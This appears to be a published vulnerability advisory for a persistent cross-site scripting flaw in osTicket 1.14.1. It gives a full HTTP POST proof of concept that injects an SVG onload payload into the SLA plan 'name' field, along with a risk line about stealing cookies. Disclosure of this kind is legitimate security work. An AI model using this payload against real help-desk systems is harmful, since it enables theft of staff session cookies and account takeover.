osTicket 1.14.1 - Persistent Authenticated Cross-Site Scripting

# Title: osTicket 1.14.1 - Persistent Authenticated Cross-Site Scripting
# Author: Mehmet Kelepce / Gais Cyber Security
# Date : 2020-03-24
# Source Link: https://github.com/osticket/osticket/commit/fc4c8608fa122f38673b9dddcb8fef4a15a9c884
# Vendor: http://osticket.com
# Remotely Exploitable: Yes
# Dynamic Coding Language: PHP
# CVSSv3 Base Score: 7.4 (AV:N, AC:L, PR:L, UI:N, S:C, C:L, I:L, A:L)

## this vulnerability was found by examining the source code.

PoC : Ticket SLA Plan Name - HTTP POST REQUEST
##########################################################
POST /upload/scp/slas.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/upload/scp/slas.php?id=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 196
Connection: close
Cookie: cookie=3333; OSTSESSID=684d6hn7dfk869kupbhc9hq2qv
Upgrade-Insecure-Requests: 1

submit=Save+Changes&__CSRFToken__=6174a3343a6277b2e5faae240188d54624a756d7&do=update&a=&id=1&name=%3Csvg+onload%3Dconfirm%28document.cookie%29%3B%3E&isactive=1&grace_period=48&schedule_id=0&notes=

Vulnerable parameter: name
Parameter file: /scp/slass.php

I used the name of the SLA for any ticket.

## Risk : cookie information of the target user is obtained.